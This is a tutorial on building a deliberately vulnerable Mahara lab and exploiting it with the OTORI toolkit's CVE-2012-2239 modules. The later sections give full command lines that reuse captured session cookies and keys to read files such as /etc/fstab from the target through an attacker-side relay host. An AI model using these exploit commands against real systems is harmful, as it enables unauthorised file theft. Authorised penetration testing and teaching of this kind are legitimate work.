Home > Software > OTORI - Example 3: Mahara

OTORI - Example 3: Mahara

article by Ben Lincoln

This article describes security testing-related software whose use may be restricted or prohibited in your place of residence or your workplace. The penalties for violating laws and regulations regarding security testing-related tools can be severe. Ensuring that you are allowed to use this software is your responsibility.

The instructions in this tutorial are slightly less-detailed than for other articles on this website. This is because the software described should not be used if you are unfamiliar with basic- to intermediate-level use of Linux. Proceeding without having that knowledge is very likely to result in damage and/or loss of data.

Mahara is one of many open-source content-management systems available today. According to its creators, its focus is the building of electronic portfolios.

Like Squiz Matrix, taking advantage of Mahara requires the use of the type of techniques described by Timur Yunusov and Alexey Osipov at Black Hat EU 2013^[1]. However, the exploit technique required is considerably more complicated, so I gave it its own writeup. The Mahara module was the one that convinced me I'd made the right choice in writing a standalone toolbox instead of Metasploit modules.

Important: Mahara becomes invulnerable to the modules described below if the system-level libxml2 library is too new. The change appears to have been made in early June of 2014 in the Ubuntu release of libxml2, which is noted as being intended to address CVE-2014-0191. The instructions below include a step to downgrade the library in question. If you find an instance which is not vulnerable in a real pen-test, the underlying OS has probably had its libraries patched.

Test Environment Systems

You'll need 2-3 systems for this exercise:

1. The attacker/pen-testing system. This is where On The Outside, Reaching In will run. This tutorial was written and tested using a vanilla Debian 7 x64 VM which was patched at the current level when this document was written.
2. The system where She Wore A Mirrored Mask will run. This can be the same as the first system, or you can use a separate system to simulate running She Wore A Mirrored Mask on a previously-compromised system on the target network. This tutorial was written and tested with the first two roles being held by the same system.
3. The target system. This tutorial was written and tested using Ubuntu 12.04 x64 for this role.

I strongly recommend that you build VMs specifically for this testing, or at least snapshot existing VMs before you begin, so that if something goes wrong, you won't lose any data/work. This software is a pre-alpha preview of a tool designed for penetration testing (in other words, it actively misuses its target(s)). Take appropriate safety precautions.

Test Environment Setup

On the attacking system:

1. Unpack the current release of On The Outside, Reaching In.
2. Set up and launch either Burp Suite or OWASP ZAP. If you are using Kali Linux as the attacking system, this should already be taken care of for you. The instructions and screenshots in this tutorial will refer to the free version of Burp Suite, because I think it's a little easier to find the necessary information in the Burp interface.
3. Launch your web browser, and configure it to connect through the intercepting proxy you chose in the last step.

The target system will take a bit more effort (although not nearly as much as Squiz Matrix). The following instructions should get you up and running if you're using Ubuntu 12.04 x64 as the base OS. Any other OS will result in you pretty much being on your own, due to the large number of dependencies required. I really recommend that you build an Ubuntu 12.0.4 VM specifically to install Mahara on — there are a number of aspects to the configuration that will make it difficult to host anything else on it.

Screenshots of key steps are below the list of instructions.

1. Edit your /etc/hosts files (or your DNS server configuration) to add at least one entry which maps a distinct FQDN (e.g. maharatarget.vuln.local) to a non-loopback address for your target server. You will need to do this on both your target system and your attacking system. You will almost certainly run into trouble with Mahara if this is not done.
2. Install any missing OS-level prerequisites using the following command:

    

   sudo apt-get install autoconf automake bison build-essential flex gcc g++ libtool m4 make wget postgresql apache2-mpm-prefork php5 libapache2-mod-php5 php5-gd php5-pgsql php5-common php5-json php5-curl php5-cli php5-xmlrpc php5-imagick php5-mcrypt

3. Downgrade to a version of libxml2 which causes Mahara to still be vulnerable:

    

   sudo apt-get install libxml2=2.7.8.dfsg-5.1ubuntu4

   (I know that versions as recent as 2.7.8.dfsg-5.1ubuntu4.6 are vulnerable, but they're not in the standard repository).
4. Download either Mahara 1.4.3 or Mahara 1.5.2. The On The Outside, Reaching In modules were written using a 1.4.3 instance. This tutorial was written using both, but 1.4.3 is recommended because only one of the modules currently works with version 1.5.2. The rest of this tutorial assumes that you've unpacked one of them to a subdirectory of your home directory named after the file (~/mahara-1.4.3/).
5. Execute the following sequence of commands to change context to the PostgreSQL account and create the necessary PostgreSQL user and database. Note that in order to more easily allow switching between multiple versions of Mahara on this test system, I included the version number in the names of both (mahara143user and mahara143db). If you wish to do the same thing and are e.g. installing a different version, obviously you should use that version number instead (mahara152user / mahara152db, etc.).
   Of course, be sure to make a note of the password that you set for the account - you'll need it later. If you forget it, you can reset it using psql - see the ALTER USER statements in the OTORI - Example 2: Squiz Matrix article.

    

   sudo su

   su postgres

   createuser -SRDP mahara143user

   createdb -O mahara143user -EUTF8 mahara143db

   exit

   exit

6. Next, you'll need to make the Mahara "Dataroot" directory. This needs to be somewhere outside of the rest of the directory structure for Mahara. I had the Mahara files in ~/mahara-1.4.3/, so I created a corresponding ~/mahara-1.4.3-data/ to handle this role. You'll also need to ensure that the Apache account can write to this directory. As in the Squiz Matrix example, we'll simulate what most Linux non-experts do in this situation by making the directory world-writeable (and therefore a security risk)^[2]:

    

   mkdir ~/mahara-1.4.3-data

   chmod 777 ~/mahara-1.4.3-data

7. In the htdocs directory underneath where you unpacked Mahara (~/mahara-1.4.3/htdocs/, etc.), you'll find a file named config-dist.php. Make a copy of this file named config.php.
8. Edit the new config.php file using your favourite text-editor.
   1. Scroll down to the section which begins // database connection details.
   2. Edit the line which reads $cfg->dbport = null; so that it contains the PostgreSQL port (5432 by default) (e.g. $cfg->dbport = 5432;).
   3. Edit the line which reads $cfg->dbname = ''; so that it contains the name of the database you created a few steps ago (e.g. $cfg->dbname = 'mahara143db';).
   4. Edit the line which reads $cfg->dbuser = ''; so that it contains the name of the database you created a few steps ago (e.g. $cfg->dbuser = 'mahara143user';).
   5. Edit the line which reads $cfg->dbpass = ''; so that it contains the name of the database you created a few steps ago (e.g. $cfg->dbname = 'dCYLXv7J5pCuxIxyZrgf';).
   6. Scroll down to the line which reads $cfg->dataroot = '/path/to/uploaddir';.
   7. Replace the example path (/path/to/uploaddir) with the actual path to the directory you created a few steps ago. For example, the path on my system was /home/mahara/mahara-1.4.3-data, so in my case the line ended up reading $cfg->dataroot = '/home/mahara/mahara-1.4.3-data';.
   8. Save the file and exit.
9. Edit your Apache httpd site configuration using your favourite text-editor. If you have been following these instructions exactly, this will be the file /etc/apache2/sites-enabled/000-default. You can refer to the screenshots at the end of this section for guidance. You will want to paste in the following content, replacing all occurrences of /home/mahara/mahara-1.4.3 with the actual installation directory you put Mahara in, and replacing maharatarget.vuln.local with the appropriate FQDN if you used something else.

    

   <VirtualHost *:80>

   ServerName maharatarget.vuln.local

   DocumentRoot /home/mahara/mahara-1.4.3/htdocs

   <Directory /home/mahara/mahara-1.4.3/htdocs>

   AllowOverride All

   </Directory>

   </VirtualHost>

Save the file and exit. Note: I am no Apache httpd expert, but the configuration above (which is basically the same as the configuration in the official installation guide for Mahara strikes me as a bit insecure. If so, I guess this is just one more example of added realism, since 99% of people who install this software are no doubt going to just do what's in the manual and no more.
10. Edit /etc/php5/apache2/php.ini using your favourite text-editor.
    1. Locate the line which reads upload_max_filesize = 2M and change it to read upload_max_filesize = 50M
    2. Locate the line which reads post_max_size = 8M and change it to read post_max_size = 50M
    3. Save the file and exit.
11. Restart Apache httpd, e.g.:

     

    sudo /etc/init.d/apache2 restart

12. If everything worked correctly, you should now be able to access the Mahara URL (http://maharatarget.vuln.local/ if you've been following along exactly) in your browser and see the initial/install page (see the screenshots below for examples). If you get an error instead, verify your configuration, and if necessary start doing web searches for the errors in question.
13. Assuming the steps so far have been successful, click the Install Mahara button. An automated process of installing the various components should begin. It will take several minutes to complete.
14. Once the installation is complete, a Continue link should appear at the bottom of the screen. Go ahead and click it.
15. You should be prompted to change the password for the admin account. Go ahead and do so (making a note of what you've set it to, of course) — note that some versions of Mahara require more complex passwords than others. You'll also need to specify an email address. Unfortunately, Mahara tries to be "helpful", and won't let you use e.g. mahara@maharatarget.vuln.local or mahara@localhost. You'll never need to receive emails from Mahara, so feel free to use something like real_gangstas_drink_fine_british_blackcurrant_liquor@authentic-gangsta-lifestylez.com.
16. To test all of the modules below, you'll need to set up a regular (non-administrator) account. Begin by clicking the Site administration tab, then the Users tab.
17. Click the Add user sub-tab. You will need to fill in at least five fields:
    1. First name
    2. Last name
    3. Email
    4. Username
    5. Password
    I used:
    1. Authentic Gangsta
    2. Guaranteed
    3. north_north_soldja@authentic-gangsta-lifestylez.com
    4. agg
    5. teflonCOATED45
Click the Create user button.
If you (like me) used a fake (but totally believable and realistic) email address, you'll receive an error indicating "Failed to send welcome email to new user." You can ignore this. Click the Logout link.
18. To test out the CVE-2012-2239-ME module, you'll need to simulate an existing page with an RSS feed-reader on it. If you don't want to test that module, you can skip down to the Preparing to Exploit Mahara section, below.
19. Log in as the non-privileged user you just created. You'll be prompted to change your password, so go ahead and do that.
20. Click the Portfolio tab, then the Create page button.
21. If you are setting up version 1.4.3:
    1. Click-and-drag the orange RSS icon into the blank space below the row of icons and release it.
    2. Paste a valid RSS feed URL into the Feed location field. For some reason, it's hard to find RSS feeds that a stone-cold thug would subscribe to in order to stay up to date on getting crunk and packing heat. I used http://www.steyrarms.com/rss.xml, but http://www.ruger.com/rss/news.xml would work too.
    3. Click the Save button.
    4. Switch to the Edit Title and Description sub-sub tab.
    5. Enter a title for the page.
    6. Click the Save button at the bottom of the page.
    7. Click the Done button at the bottom of the page.
    
    If you are setting up version 1.5.2:
    1. Enter a title for the page, then click the Save button.
    2. Just above the row of icons in the middle of the page, click the External content sub-sub-sub-tab.
    3. Click-and-drag the orange RSS icon into the blank space below the row of icons and release it.
    4. The defaults for the options are fine except for the Feed location. As noted above, I used http://www.steyrarms.com/rss.xml, but http://www.ruger.com/rss/news.xml would work too. Once you're done, click the Save button.
    5. Click the Done button at the bottom of the page.
22. Click the Logout link.

Preparing to Exploit Mahara

All three of the modules described below require at least three pieces of information:

1. The base URL for a vulnerable Mahara instance (e.g. http://maharatarget.vuln.local/).
2. A mahara cookie captured from a valid session.
3. The Mahara-specific session key from the same session as the cookie.

1. With your web browser proxied through Burp Suite or OWASP ZAP, log into the vulnerable Mahara instance using the admin account.
2. Find the POST request for the logon in your proxy history and examine the response. You should see a Set-Cookie server header (e.g. Set-Cookie: mahara=c985c62422ccaa551dfa7f07e05b6530; path=/; HttpOnly) near the top, and a short distance down in the response body, a sesskey value (e.g. jseh1KUYXIQp2St0). Make a note of both of these.

CVE-2012-2239-PC-A - Page Create (Administrative Credentials) Module

Important: this module currently only works against Mahara 1.4.3 (not 1.5.2). If you are testing against 1.5.2, skip down to the CVE-2012-2239-ME - Modify Existing Page Module section.

For purposes of this tutorial, assume that swamm.vuln.local is the machine name for the attacking system running She Wore A Mirrored Mask. If you are using a different name, or an IP address, substitute that as necessary. The name or IP you use must be defined and accessible to the target system as well as the attacking system. That is, if you have defined swamm.vuln.local in the /etc/hosts file on your attacking system, you must also define it in the /etc/hosts file on the simulated target system.

1. On the system from which She Wore A Mirrored Mask will be run, cd into the directory where you unpacked She Wore A Mirrored Mask and launch it:

    

   python ./swamm.py

2. As described in the previous tutorial, you'll need to make a note of the randomly-generated URLs. When writing this tutorial, mine were:
   1. Base prefix: /0WT/
   2. Read prefix: /0WT/J61/
   3. Write prefix: /0WT/jgo/
   4. Append prefix: /0WT/KYW/
   5. Delete prefix: /0WT/j5D/
   6. Stored pair add prefix: /0WT/lts/
   7. Stored pair delete prefix: /0WT/xFA/
3. Using this module is very similar to the Squiz Matrix modules described in the previous tutorial. The main difference is that in addition to the required parameters, you'll also need to supply the browser cookie string to send along with requests. For example, to verify that you have the various parameters correctly specified by retrieving the /etc/fstab file from the target system using the URL, session key, and cookie shown above, run this command on the attacking system:

    

   python ./otori.py --clone --module "CVE-2012-2239-PC-A" --module-options "http://maharatarget.vuln.local/" "jseh1KUYXIQp2St0" --singleuri "file:///etc/fstab" --http-cookie "mahara=c985c62422ccaa551dfa7f07e05b6530" --outputbase "./output/mahara" --overwrite --noerrorfiles --noemptyfiles --nowhitespacefiles --noemptydirs --swamm-url-base "http://swamm.vuln.local:8080/0WT/" --swamm-url-read "http://swamm.vuln.local:8080/0WT/J61/" --swamm-url-write "http://swamm.vuln.local:8080/0WT/jgo/" --swamm-url-append "http://swamm.vuln.local:8080/0WT/KYW/" --swamm-url-delete "http://swamm.vuln.local:8080/0WT/j5D/" --swamm-url-store-add "http://swamm.vuln.local:8080/0WT/lts/" --swamm-url-store-delete "http://swamm.vuln.local:8080/0WT/xFA/"

CVE-2012-2239-PC-U - Page Create (Standard User Credentials) Module

Important: this module currently only works against Mahara 1.4.3 (not 1.5.2). If you are testing against 1.5.2, skip down to the CVE-2012-2239-ME - Modify Existing Page Module section.

This module requires one additional piece of information beyond what you already have — the numeric user ID of the account that the temporary page(s) should belong to. This should match the user ID for the session key and cookie. You can find the userid value right below the session key in the same section of the page source (see the screenshot below if you're having trouble). For example, the admin account's user ID should be 1, and if you created the second account as recommended above, it should have a user ID of 2. If you did not create that account, you should either go back and do that now, or skip down to the next section.

1. Make sure you have She Wore A Mirrored Mask up and running, as described in the previous section.
2. In the web browser on the attacking system, log out of Mahara and then log back in as the non-privileged account.
3. As described in the Preparing to Exploit Mahara section, use your intercepting proxy to obtain the necessary cookie, session key, and user ID (you will need to do this again because now you're logged on as a different user).
4. The syntax for this module is exactly the same as for CVE-2012-2239-PC-A, except that there is a third parameter after the session key - the numeric user ID mentioned above. For example, assuming your second test user has a user ID of 2 and that's the account that the session key and cookie are from, this command would retrieve the /boot/grub/crypto.lst file:

    

   python ./otori.py --clone --module "CVE-2012-2239-PC-U" --module-options "http://maharatarget.vuln.local/" "BbVrde9AkcTy7v5H" "2" --singleuri "file:///boot/grub/crypto.lst" --http-cookie "mahara=230fefe9abb4604be10e89b5573cfeea" --outputbase "./output/mahara" --overwrite --noerrorfiles --noemptyfiles --nowhitespacefiles --noemptydirs --swamm-url-base "http://swamm.vuln.local:8080/0WT/" --swamm-url-read "http://swamm.vuln.local:8080/0WT/J61/" --swamm-url-write "http://swamm.vuln.local:8080/0WT/jgo/" --swamm-url-append "http://swamm.vuln.local:8080/0WT/KYW/" --swamm-url-delete "http://swamm.vuln.local:8080/0WT/j5D/" --swamm-url-store-add "http://swamm.vuln.local:8080/0WT/lts/" --swamm-url-store-delete "http://swamm.vuln.local:8080/0WT/xFA/"

CVE-2012-2239-ME - Modify Existing Page Module

This module requires one additional piece of information beyond what you already have — the URI stem for an existing page in the vulnerable Mahara instance which contains at least one RSS feed-reader.

1. If you skipped down to this section because you're testing against Mahara 1.5.2, then temporarily skip back up to the CVE-2012-2239-PC-A - Page Create (Administrative Credentials) Module section and launch She Wore A Mirrored Mask according to the instructions in that section. Then come back down here.
2. While logged into Mahara as the account that you'll be using for its session key and cookie, visit (or create) a page with an RSS feed-reader (this process is described in the Test Environment Setup section). The URL will typically be something like http://maharatarget.vuln.local/view/view.php?id=8. If the URL does point to the view.php page instead of blocks.php, you will probably need to modify it (e.g. to http://maharatarget.vuln.local/view/blocks.php?id=8 in this specific example). If you make such a modification, you should see the Edit content view of the page. In any case, take the URI stem ( in this example), and this is your third module option for the On The Outside, Reaching In command. Your actual ID number will probably be something other than 8, of course. For example, to attempt to retrieve the /boot/grub/crypto.lst file, the command in my test ended up being:

    

   python ./otori.py --clone --module "CVE-2012-2239-ME" --module-options "http://maharatarget.vuln.local/" "BbVrde9AkcTy7v5H" "view/blocks.php?id=8" --singleuri "file:///boot/grub/crypto.lst" --http-cookie "mahara=230fefe9abb4604be10e89b5573cfeea" --outputbase "./output/mahara" --overwrite --noerrorfiles --noemptyfiles --nowhitespacefiles --noemptydirs --swamm-url-base "http://swamm.vuln.local:8080/0WT/" --swamm-url-read "http://swamm.vuln.local:8080/0WT/J61/" --swamm-url-write "http://swamm.vuln.local:8080/0WT/jgo/" --swamm-url-append "http://swamm.vuln.local:8080/0WT/KYW/" --swamm-url-delete "http://swamm.vuln.local:8080/0WT/j5D/" --swamm-url-store-add "http://swamm.vuln.local:8080/0WT/lts/" --swamm-url-store-delete "http://swamm.vuln.local:8080/0WT/xFA/"

3. This module will attempt to reset the RSS feed-reader to its previous state after it has been misused (as shown in the final screenshot, below). You may want to manually verify that this is the case.

Related Articles:
On The Outside, Reaching In
OTORI - Instructions
OTORI - Example 1: Apache Solr
OTORI - Example 2: Squiz Matrix
OTORI - Example 4: McAfee ePO
OTORI - Example 7: Generic XXE Modules
OTORI - Exploring the Linux Filesystem
She Wore A Mirrored Mask

Last updated: 20 July 2014

You have Javascript disabled in your browser. This website will look a bit nicer if you turn it back on.

Copyright 2009-2013 Ben Lincoln, except where explicitly noted.

Copyright Information - Privacy Policy - Download Policy - Advertising Policy